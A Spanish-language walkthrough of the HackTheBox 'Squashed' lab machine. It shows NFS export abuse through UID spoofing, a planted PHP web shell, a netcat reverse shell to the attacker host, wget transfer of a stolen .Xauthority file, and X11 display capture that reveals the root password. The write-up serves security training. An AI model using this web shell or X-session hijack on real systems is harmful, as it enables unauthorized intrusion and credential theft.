Inicio HTB - Squashed
Entrada
Cancelar

HTB - Squashed

¡Hola! Vamos a resolver de la máquina Squashed de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • NFS Enumeration
  • Abusing owners assigned to NFS
  • Creating a web shell to gain system access
  • Abusing .Xauthority file (Pentesting X11)
  • Taking a screenshot of another user’s display

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Squashed. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.191
PING 10.10.11.191 (10.10.11.191) 56(84) bytes of data.
64 bytes from 10.10.11.191: icmp_seq=1 ttl=63 time=38.3 ms

--- 10.10.11.191 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.334/38.334/38.334/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
7
8
9
10
11
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.191 -oG allPorts

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63
111/tcp   open  rpcbind syn-ack ttl 63
2049/tcp  open  nfs     syn-ack ttl 63
33743/tcp open  unknown syn-ack ttl 63
38471/tcp open  unknown syn-ack ttl 63
39701/tcp open  unknown syn-ack ttl 63
50853/tcp open  unknown syn-ack ttl 63

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
nmap -sCV -p22,80,111,2049,33743,38471,39701,50853 10.10.11.191 -oN targeted

22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      36633/tcp   mountd
|   100005  1,2,3      41559/udp   mountd
|   100005  1,2,3      52031/tcp6  mountd
|   100005  1,2,3      54808/udp6  mountd
|   100021  1,3,4      36991/tcp   nlockmgr
|   100021  1,3,4      43411/tcp6  nlockmgr
|   100021  1,3,4      45829/udp   nlockmgr
|   100021  1,3,4      47382/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
36633/tcp open  mountd   1-3 (RPC #100005)
36991/tcp open  nlockmgr 1-4 (RPC #100021)
44335/tcp open  mountd   1-3 (RPC #100005)
50771/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
❯ whatweb http://10.10.11.191
http://10.10.11.191 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.191], JQuery[3.0.0], Script, Title[Built Better], X-UA-Compatible[IE=edge]

Accedemos al servicio web pero no vemos nada interesante donde poder sacar información

Reconocimiento NFS


Nos llama la atención el puerto 2049/tcp open nfs_acl. Consultamos en HackTricks y vemos que se trata de un sistema cliente/servidor que permite a los usuarios acceder a archivos de la red y tratarlos como si fueran archivos locales. Parecido a SMB. Con el comando showmount -e <IP> podemos listar directorios disponibles

1
2
3
4
❯ showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

Para poder montar de forma local estos directorios primero debemos crear dos directorios en nuestra ruta /mnt

1
2
3
4
mkdir /mnt/ross
❯ mkdir /mnt/web
❯ mount -t nfs 10.10.11.191:/home/ross /mnt/ross
❯ mount -t nfs 10.10.11.191:/var/www/html /mnt/web

Si observamos propietarios de los directorios montados vemos que /mnt/ross pertenece a 1001 y grupo scanner, y por otro lado /mnt/web pertenece a 2017 y grupo www-data

1
2
3
4
5
ls -la /mnt
drwxr-xr-x root root      14 B  Wed Dec  7 16:20:33 2022  .
drwxr-xr-x root root     296 B  Fri Oct 21 09:21:35 2022  ..
drwxr-xr-x 1001 scanner  4.0 KB Wed Dec  7 15:54:43 2022  ross
drwxr-xr-- 2017 www-data 4.0 KB Wed Dec  7 16:20:01 2022  web

Para poder enumerar el directorio /mnt/web necesitamos crear un usuario y asignarle su uid a 2017

1
2
3
4
❯ useradd pepe
❯ usermod -u 2017 pepe
❯ id pepe
uid=2017(pepe) gid=1004(pepe) grupos=1004(pepe)

Migramos a usuario pepe y ahora ya podemos enumerar su contenido

1
2
3
4
5
6
7
❯ su pepe
$ bash
┌─[pepe@parrot]─[/mnt]
└──╼ $cd web
┌─[pepe@parrot]─[/mnt/web]
└──╼ $ls
css  images  index.html  js

Observando el contenido de index.html vemos que se trata de la web visitada en el puerto 80. Como sabemos que la web está escrita en PHP podemos crear un archivo PHP para que mediante el parámetro cmd podamos ejecutar código (RCE). Creamos un archivo shell.php con el siguiente contenido

1
2
3
<?php
	echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"
?>

Y ahora accedemos a http://10.10.11.119/shell.php?cmd=id

Ahora que tenemos RCE procedemos a ejecutar oneliner y ponernos en escucha en el puerto 443 en nuestro equipo atacante

1
2
3
4
5
6
7
8
9
sudo nc -nlvp 443
[sudo] password for yorch: 
listening on [any] 443 ...
connect to [10.10.14.40] from (UNKNOWN) [10.10.11.119] 60162
bash: cannot set terminal process group (1058): Inappropriate ioctl for device
bash: no job control in this shell
alex@squashed:/var/www/html$ whoami
whoami
alex

En el directorio personal de alex encontramos la flag de usuario de bajos privilegios

1
2
alex@squashed:/home/alex$ cat user.txt 
4c40083f03a501580***************

Escalada Privilegios


En el directorio del usuario ross nos llama la atención un archivo .Xauthority. Buscamos de qué se trata y vemos que el archivo .Xauthority(no .xAuthority) se puede encontrar en el directorio de inicio de cada usuario y se utiliza para almacenar credenciales en las cookies utilizadas xauthpara la autenticación de las sesiones X. Buscamos recursos en hackTricks. No tenemos acceso a este archivo directo desde la máquina víctima pero sí podemos acceder a él en la montura creada anteriormente /mnt/ross y subirlo al directorio personal de alex dónde sí podemos gestionarlo al ser propietarios del directorio home donde reside. Modificamos uid de usuario pepe a 1001 y así poder acceder a la montura /mnt/ross

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ usermod -u 1001 pepe
❯ su pepe
$ bash
┌─[pepe@parrot]─[/mnt]
└──╼ $cd ross
┌─[pepe@parrot]─[/mnt/ross]
└──╼ $ls -la
total 64
drwxr-xr-x 14 pepe scanner 4096 dic  7 15:54 .
drwxr-xr-x  1 root root      14 dic  7 16:20 ..
lrwxrwxrwx  1 root root       9 oct 20 15:24 .bash_history -> /dev/null
drwx------ 11 pepe scanner 4096 oct 21 16:57 .cache
drwx------ 12 pepe scanner 4096 oct 21 16:57 .config
drwxr-xr-x  2 pepe scanner 4096 oct 21 16:57 Desktop
drwxr-xr-x  2 pepe scanner 4096 oct 21 16:57 Documents
drwxr-xr-x  2 pepe scanner 4096 oct 21 16:57 Downloads
drwx------  3 pepe scanner 4096 oct 21 16:57 .gnupg
drwx------  3 pepe scanner 4096 oct 21 16:57 .local
drwxr-xr-x  2 pepe scanner 4096 oct 21 16:57 Music
drwxr-xr-x  2 pepe scanner 4096 oct 21 16:57 Pictures
drwxr-xr-x  2 pepe scanner 4096 oct 21 16:57 Public
drwxr-xr-x  2 pepe scanner 4096 oct 21 16:57 Templates
drwxr-xr-x  2 pepe scanner 4096 oct 21 16:57 Videos
lrwxrwxrwx  1 root root       9 oct 21 15:07 .viminfo -> /dev/null
-rw-------  1 pepe scanner   57 dic  7 15:54 .Xauthority
-rw-------  1 pepe scanner 2475 dic  7 15:54 .xsession-errors
-rw-------  1 pepe scanner 2475 oct 31 11:13 .xsession-errors.old

Creamos servidor http y subimos archivo .Xauthority de usuario ross a la carpeta personal del usuario alex

1
2
3
4
┌─[pepe@parrot]─[/mnt/ross]
└──╼ $python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.119 - - [07/Dec/2022 17:09:00] "GET /.Xauthority HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
alex@squashed:/home/alex$ wget http://10.10.14.40:8080/.Xauthority
--2022-12-07 16:08:58--  http://10.10.14.40:8080/.Xauthority
Connecting to 10.10.14.40:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 57 [application/octet-stream]
Saving to: '.Xauthority'

.Xauthority         100%[===================>]      57  --.-KB/s    in 0.04s   

2022-12-07 16:08:58 (1.46 KB/s) - '.Xauthority' saved [57/57]

Ahora podemos verificar que haya conexión con los comandos que encontramos en HackTricks. Para ello primero debemos saber qué nombre tiene asignada la pantalla. Con el comando w vemos que la pantalla es :0

1
2
3
4
alex@squashed:/home/alex$ w
 16:32:36 up  1:38,  1 user,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               14:54    1:38m 11.16s  0.06s /usr/libexec/gnome-session-binary --systemd --session=gnome

Ahora con xdpyinfo verificamos que tengamos conexión

1
2
3
4
5
6
7
8
9
10
11
12
alex@squashed:/home/alex$ xdpyinfo -display :0
motion buffer size:  256
bitmap unit, bit order, padding:    32, LSBFirst, 32
image byte order:    LSBFirst
number of supported pixmap formats:    7
supported pixmap formats:
    depth 1, bits_per_pixel 1, scanline_pad 32
    depth 4, bits_per_pixel 8, scanline_pad 32
.
.
.
.

Una vez verificada la conexión podemos hacer un screenshot de manera remota de la siguiente forma

1
alex@squashed:/home/alex$ xwd -root -screen -silent -display :0 > /tmp/screen.xwd

Nos traemos la captura guardada y la convertimos en un formato legible

1
2
3
4
5
6
7
8
9
10
11
12
❯ wget http://10.10.11.191:8080/screen.xwd
--2022-12-07 17:37:11--  http://10.129.17.11:8080/screen.xwd
Conectando con 10.129.17.11:8080... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1923179 (1,8M) [image/x-xwindowdump]
Grabando a: «screen.xwd»

screen.xwd                                      100%[====================================================================================================>]   1,83M  4,48MB/s    en 0,4s    

2022-12-07 17:37:11 (4,48 MB/s) - «screen.xwd» guardado [1923179/1923179]

convert screen.xwd screen.png

Abrimos la captura y encontramos la credencial de root

Migramos a root con la password obtenida y la flag la encontramos en el directorio de /root

1
2
3
4
5
6
alex@squashed:/tmp$ su root
Password: 
root@squashed:/tmp# whoami
root
root@squashed:/tmp# cat /root/root.txt 
c3736c2e97d98f2fe***************

Hemos completado la máquina Squashed de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.